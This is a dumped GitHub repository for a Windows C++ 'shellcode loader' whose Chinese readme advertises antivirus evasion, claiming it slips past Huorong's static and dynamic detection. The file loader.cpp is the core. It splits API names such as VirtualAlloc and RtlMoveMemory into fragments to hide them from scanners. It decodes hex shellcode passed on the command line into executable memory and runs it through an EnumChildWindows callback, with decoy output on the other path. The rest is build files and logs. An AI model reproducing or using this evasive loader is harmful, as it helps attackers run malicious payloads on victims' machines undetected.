├── .vs └── loader │ ├── FileContentIndex │ ├── 7717863e-56de-43d1-a4eb-0637675875f5.vsidx │ ├── d454ae33-d44a-4603-8e6c-cc96e82a8155.vsidx │ └── read.lock │ └── v17 │ ├── .suo │ ├── Browse.VC.db │ └── ipch │ └── AutoPCH │ └── f72b76ad6ab11cf7 │ └── LOADER.ipch ├── img ├── 1.png ├── 2.png ├── 3.png ├── 4.png ├── 5.png └── 6.png ├── loader.sln ├── loader ├── loader.cpp ├── loader.vcxproj ├── loader.vcxproj.filters ├── loader.vcxproj.user └── x64 │ └── Debug │ ├── loader.exe.recipe │ ├── loader.ilk │ ├── loader.log │ ├── loader.obj │ ├── loader.tlog │ ├── CL.command.1.tlog │ ├── CL.read.1.tlog │ ├── CL.write.1.tlog │ ├── link.command.1.tlog │ ├── link.read.1.tlog │ ├── link.write.1.tlog │ └── loader.lastbuildstate │ ├── vc143.idb │ └── vc143.pdb ├── readme.md └── x64 └── Debug ├── loader.exe └── loader.pdb /.vs/loader/FileContentIndex/7717863e-56de-43d1-a4eb-0637675875f5.vsidx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sh3d0ww01f/shellcodeloader/b97b918543e35a31b38332b34fb559f749ee9fa8/.vs/loader/FileContentIndex/7717863e-56de-43d1-a4eb-0637675875f5.vsidx -------------------------------------------------------------------------------- /.vs/loader/FileContentIndex/d454ae33-d44a-4603-8e6c-cc96e82a8155.vsidx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sh3d0ww01f/shellcodeloader/b97b918543e35a31b38332b34fb559f749ee9fa8/.vs/loader/FileContentIndex/d454ae33-d44a-4603-8e6c-cc96e82a8155.vsidx -------------------------------------------------------------------------------- /.vs/loader/FileContentIndex/read.lock: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sh3d0ww01f/shellcodeloader/b97b918543e35a31b38332b34fb559f749ee9fa8/.vs/loader/FileContentIndex/read.lock -------------------------------------------------------------------------------- /.vs/loader/v17/.suo: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sh3d0ww01f/shellcodeloader/b97b918543e35a31b38332b34fb559f749ee9fa8/.vs/loader/v17/.suo -------------------------------------------------------------------------------- /.vs/loader/v17/Browse.VC.db: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sh3d0ww01f/shellcodeloader/b97b918543e35a31b38332b34fb559f749ee9fa8/.vs/loader/v17/Browse.VC.db -------------------------------------------------------------------------------- /.vs/loader/v17/ipch/AutoPCH/f72b76ad6ab11cf7/LOADER.ipch: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sh3d0ww01f/shellcodeloader/b97b918543e35a31b38332b34fb559f749ee9fa8/.vs/loader/v17/ipch/AutoPCH/f72b76ad6ab11cf7/LOADER.ipch -------------------------------------------------------------------------------- /img/1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sh3d0ww01f/shellcodeloader/b97b918543e35a31b38332b34fb559f749ee9fa8/img/1.png -------------------------------------------------------------------------------- /img/2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sh3d0ww01f/shellcodeloader/b97b918543e35a31b38332b34fb559f749ee9fa8/img/2.png -------------------------------------------------------------------------------- /img/3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sh3d0ww01f/shellcodeloader/b97b918543e35a31b38332b34fb559f749ee9fa8/img/3.png -------------------------------------------------------------------------------- /img/4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sh3d0ww01f/shellcodeloader/b97b918543e35a31b38332b34fb559f749ee9fa8/img/4.png -------------------------------------------------------------------------------- /img/5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sh3d0ww01f/shellcodeloader/b97b918543e35a31b38332b34fb559f749ee9fa8/img/5.png -------------------------------------------------------------------------------- /img/6.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sh3d0ww01f/shellcodeloader/b97b918543e35a31b38332b34fb559f749ee9fa8/img/6.png -------------------------------------------------------------------------------- /loader.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.3.32825.248 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "loader", "loader\loader.vcxproj", "{8020742C-BF3C-45D0-9E35-2481F1D5A859}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {8020742C-BF3C-45D0-9E35-2481F1D5A859}.Debug|x64.ActiveCfg = Debug|x64 17 | {8020742C-BF3C-45D0-9E35-2481F1D5A859}.Debug|x64.Build.0 = Debug|x64 18 | {8020742C-BF3C-45D0-9E35-2481F1D5A859}.Debug|x86.ActiveCfg = Debug|Win32 19 | {8020742C-BF3C-45D0-9E35-2481F1D5A859}.Debug|x86.Build.0 = Debug|Win32 20 | {8020742C-BF3C-45D0-9E35-2481F1D5A859}.Release|x64.ActiveCfg = Release|x64 21 | {8020742C-BF3C-45D0-9E35-2481F1D5A859}.Release|x64.Build.0 = Release|x64 22 | {8020742C-BF3C-45D0-9E35-2481F1D5A859}.Release|x86.ActiveCfg = Release|Win32 23 | {8020742C-BF3C-45D0-9E35-2481F1D5A859}.Release|x86.Build.0 = Release|Win32 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {A369E16F-1529-44E8-9970-DBD294824945} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /loader/loader.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"") 5 | using namespace std; 6 | 7 | 8 | unsigned char decodehex(char s[3]) { 9 | int tmp = 0, tmp1 = 0; 10 | char result; 11 | 12 | if (s[0] >= '0' && s[0] <= '9') { 13 | tmp = s[0] - '0'; 14 | } 15 | if (s[0] >= 'a' && s[0] <= 'f') { 16 | tmp = s[0] - 'a' + 10; 17 | } 18 | if (s[1] >= '0' && s[1] <= '9') { 19 | tmp1 = s[1] - '0'; 20 | } 21 | if (s[1] >= 'a' && s[1] <= 'f') { 22 | tmp1 = s[1] - 'a' + 10; 23 | } 24 | result = tmp * 16 + tmp1; 25 | return result; 26 | } 27 | 28 | int main(int argc, char* argv[]) { 29 | int flag = 0; 30 | char bb1[16] = "Vi"; 31 | char bb4[5] = "rtua"; 32 | char bb2[8] = "lAl"; 33 | char bb3[4] = "loc"; 34 | char aa1[16] = "RtlMo"; 35 | char aa2[10] = "veMe"; 36 | char aa3[5] = "mory"; 37 | char info[17] = "kern"; 38 | char info1[7] = "el32"; 39 | char ext1[6] = ".d"; 40 | char ext2[2] = "l"; 41 | char ext3[2] = "l"; 42 | strcat(bb1, bb4); strcat(bb2, bb3); strcat(bb1, bb2); strcat(aa2, aa3); strcat(aa1, aa2); strcat(info, info1); strcat(info, ext1); strcat(info, ext2); strcat(info, ext3); 43 | printf("%s", info); 44 | if (argc > 1 && flag == 0) { 45 | typedef void* (WINAPI* V_)( 46 | LPVOID lpAddress, 47 | DWORD dwSize, 48 | DWORD flAllocationType, 49 | DWORD flProtect 50 | ); 51 | typedef FARPROC(WINAPI* GetFuncAddr_)( 52 | HMODULE hmod, 53 | LPCSTR lpName 54 | ); 55 | typedef BOOL(WINAPI* callback_)( 56 | HWND hWndParent, 57 | WNDENUMPROC lpEnumFunc, 58 | LPARAM lParam 59 | ); 60 | typedef VOID(WINAPI* Rt)( 61 | VOID UNALIGNED* Destination, 62 | VOID UNALIGNED* Source, 63 | SIZE_T Length 64 | ); 65 | GetFuncAddr_ GetFuncAddr = (GetFuncAddr_)GetProcAddress( 66 | LoadLibraryA(info), 67 | "GetProcAddress" 68 | ); 69 | V_ _VA_ = (V_)GetFuncAddr( 70 | LoadLibraryA(info), 71 | bb1 72 | ); 73 | callback_ loader = (callback_)GetProcAddress( 74 | LoadLibraryA("user32.dll"), 75 | "EnumChildWindows" 76 | ); 77 | Rt m = (Rt)GetProcAddress( 78 | LoadLibraryA(info), 79 | aa1 80 | ); 81 | char* s = argv[1]; 82 | int len = 0; 83 | char* cur = s; 84 | while (*(cur++) != '\0') { 85 | len++; 86 | } 87 | unsigned char* buf = new unsigned char[len / 2]; 88 | char tmp[3]; 89 | int count = 0; 90 | for (int i = 0; i <= len; i += 2) { 91 | tmp[0] = s[i], tmp[1] = s[i + 1]; 92 | //c = 93 | *(buf + count++) = (char)decodehex(tmp); 94 | } 95 | DWORD old_protect = 0; 96 | void* exec = _VA_(0, len / 2, MEM_COMMIT, PAGE_EXECUTE_READWRITE); 97 | m(exec, buf, count - 1); 98 | loader(NULL, (WNDENUMPROC)exec, 0); 99 | } 100 | else { 101 | struct Giao { 102 | char* name; 103 | int length; 104 | }; 105 | struct Giao* giao = (Giao*)malloc(sizeof(Giao)); 106 | giao->name = (char*)malloc(sizeof("666")); 107 | char k[4] = "666"; 108 | giao->name = k; 109 | giao->length = 6; 110 | 111 | printf("good good! !:%s\n", giao->name); 112 | Sleep(5000); 113 | int n; 114 | char name[500]; 115 | printf("Please input your number :"); 116 | scanf("%d", &n); 117 | printf("OH!!!!!!!!!!!!!!!!!!!!!!!!!\n%d", n); 118 | 119 | } 120 | } 121 | -------------------------------------------------------------------------------- /loader/loader.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 16.0 23 | Win32Proj 24 | {8020742c-bf3c-45d0-9e35-2481f1d5a859} 25 | loader 26 | 10.0 27 | 28 | 29 | 30 | Application 31 | true 32 | v143 33 | Unicode 34 | 35 | 36 | Application 37 | false 38 | v143 39 | true 40 | Unicode 41 | 42 | 43 | Application 44 | true 45 | v143 46 | Unicode 47 | 48 | 49 | Application 50 | false 51 | v143 52 | true 53 | Unicode 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | Level3 76 | true 77 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 78 | true 79 | 80 | 81 | Console 82 | true 83 | 84 | 85 | 86 | 87 | Level3 88 | true 89 | true 90 | true 91 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 92 | true 93 | 94 | 95 | Console 96 | true 97 | true 98 | true 99 | 100 | 101 | 102 | 103 | Level3 104 | true 105 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 106 | true 107 | MultiThreadedDebug 108 | false 109 | 110 | 111 | Console 112 | true 113 | 114 | 115 | 116 | 117 | Level3 118 | true 119 | true 120 | true 121 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 122 | true 123 | 124 | 125 | Console 126 | true 127 | true 128 | true 129 | 130 | 131 | 132 | 133 | 134 | 135 | 136 | 137 | -------------------------------------------------------------------------------- /loader/loader.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | 源文件 20 | 21 | 22 | -------------------------------------------------------------------------------- /loader/loader.vcxproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | -------------------------------------------------------------------------------- /loader/x64/Debug/loader.exe.recipe: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | D:\source\repos\loader\x64\Debug\loader.exe 6 | 7 | 8 | 9 | 10 | 11 | -------------------------------------------------------------------------------- /loader/x64/Debug/loader.ilk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sh3d0ww01f/shellcodeloader/b97b918543e35a31b38332b34fb559f749ee9fa8/loader/x64/Debug/loader.ilk -------------------------------------------------------------------------------- /loader/x64/Debug/loader.log: -------------------------------------------------------------------------------- 1 | cl : 命令行 warning D9025: 正在重写“/sdl”(用“/GS-”) 2 | loader.cpp 3 | D:\source\repos\loader\loader\loader.cpp(42,2): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. 4 | D:\source\repos\loader\loader\loader.cpp(116,3): warning C4996: 'scanf': This function or variable may be unsafe. Consider using scanf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. 5 | D:\source\repos\loader\loader\loader.cpp(114,8): warning C4101: “name”: 未引用的局部变量 6 | loader.vcxproj -> D:\source\repos\loader\x64\Debug\loader.exe 7 | -------------------------------------------------------------------------------- /loader/x64/Debug/loader.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sh3d0ww01f/shellcodeloader/b97b918543e35a31b38332b34fb559f749ee9fa8/loader/x64/Debug/loader.obj -------------------------------------------------------------------------------- /loader/x64/Debug/loader.tlog/CL.command.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sh3d0ww01f/shellcodeloader/b97b918543e35a31b38332b34fb559f749ee9fa8/loader/x64/Debug/loader.tlog/CL.command.1.tlog -------------------------------------------------------------------------------- /loader/x64/Debug/loader.tlog/CL.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sh3d0ww01f/shellcodeloader/b97b918543e35a31b38332b34fb559f749ee9fa8/loader/x64/Debug/loader.tlog/CL.read.1.tlog -------------------------------------------------------------------------------- /loader/x64/Debug/loader.tlog/CL.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sh3d0ww01f/shellcodeloader/b97b918543e35a31b38332b34fb559f749ee9fa8/loader/x64/Debug/loader.tlog/CL.write.1.tlog -------------------------------------------------------------------------------- /loader/x64/Debug/loader.tlog/link.command.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sh3d0ww01f/shellcodeloader/b97b918543e35a31b38332b34fb559f749ee9fa8/loader/x64/Debug/loader.tlog/link.command.1.tlog -------------------------------------------------------------------------------- /loader/x64/Debug/loader.tlog/link.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sh3d0ww01f/shellcodeloader/b97b918543e35a31b38332b34fb559f749ee9fa8/loader/x64/Debug/loader.tlog/link.read.1.tlog -------------------------------------------------------------------------------- /loader/x64/Debug/loader.tlog/link.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sh3d0ww01f/shellcodeloader/b97b918543e35a31b38332b34fb559f749ee9fa8/loader/x64/Debug/loader.tlog/link.write.1.tlog -------------------------------------------------------------------------------- /loader/x64/Debug/loader.tlog/loader.lastbuildstate: -------------------------------------------------------------------------------- 1 | PlatformToolSet=v143:VCToolArchitecture=Native64Bit:VCToolsVersion=14.33.31629:TargetPlatformVersion=10.0.19041.0: 2 | Debug|x64|D:\source\repos\loader\| 3 | -------------------------------------------------------------------------------- /loader/x64/Debug/vc143.idb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sh3d0ww01f/shellcodeloader/b97b918543e35a31b38332b34fb559f749ee9fa8/loader/x64/Debug/vc143.idb -------------------------------------------------------------------------------- /loader/x64/Debug/vc143.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sh3d0ww01f/shellcodeloader/b97b918543e35a31b38332b34fb559f749ee9fa8/loader/x64/Debug/vc143.pdb -------------------------------------------------------------------------------- /readme.md: -------------------------------------------------------------------------------- 1 | # SHELLCODE LOADER 2 | ## shellcode loader by vc++,免杀，bypass 3 | 实测过火绒 静态 动态 4 | 使用方法:loader.exe [shellcode] 5 | 6 | ![](/img/1.png) 7 | ![](/img/2.png) 8 | ![](/img/3.png) 9 | ![](/img/4.png) 10 | ![](/img/5.png) 11 | ![](/img/6.png) 12 | -------------------------------------------------------------------------------- /x64/Debug/loader.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sh3d0ww01f/shellcodeloader/b97b918543e35a31b38332b34fb559f749ee9fa8/x64/Debug/loader.exe -------------------------------------------------------------------------------- /x64/Debug/loader.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sh3d0ww01f/shellcodeloader/b97b918543e35a31b38332b34fb559f749ee9fa8/x64/Debug/loader.pdb --------------------------------------------------------------------------------